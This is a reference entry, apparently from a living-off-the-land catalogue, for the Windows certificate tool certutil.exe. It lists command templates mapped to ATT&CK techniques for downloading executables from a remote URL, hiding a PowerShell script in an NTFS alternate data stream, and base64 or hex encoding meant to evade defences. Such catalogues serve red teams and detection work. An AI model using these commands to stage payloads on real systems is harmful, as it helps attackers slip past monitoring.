Certutil.exe

type: OSBinaries
Windows binary used for handling certificates

Full path

C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe

Commands

  1. DownloadUser T1105

    Download file from Internet

    certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}

    Download and save an executable to disk in the current folder.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  2. DownloadUser T1105

    Download file from Internet

    certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}

    Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash> when not.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  3. ADSUser T1564.004

    Download file from Internet and save it in an NTFS Alternate Data Stream

    certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt

    Download and save a .ps1 file to an Alternate Data Stream (ADS).

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  4. DownloadUser T1105

    Download file from Internet

    certutil.exe -URL {REMOTEURL:.exe}

    Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>.

    os: Windows 10, Windows 11

    Application: GUI

  5. EncodeUser T1027.013

    Encode files to evade defensive measures

    certutil -encode {PATH} {PATH:.base64}

    Command to encode a file using Base64

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  6. DecodeUser T1140

    Decode files to evade defensive measures

    certutil -decode {PATH:.base64} {PATH}

    Command to decode a Base64 encoded file.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  7. DecodeUser T1140

    Decode files to evade defensive measures

    certutil -decodehex {PATH:.hex} {PATH}

    Command to decode a hexadecimal-encoded file.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Resources

acknowledgement: Matt Graeber @mattifestation, Moriarty @Moriarty_Meng, egre55 @egre55, Lior Adar, Adam @hexacorn, SomeTestLeper @SomeTestLeper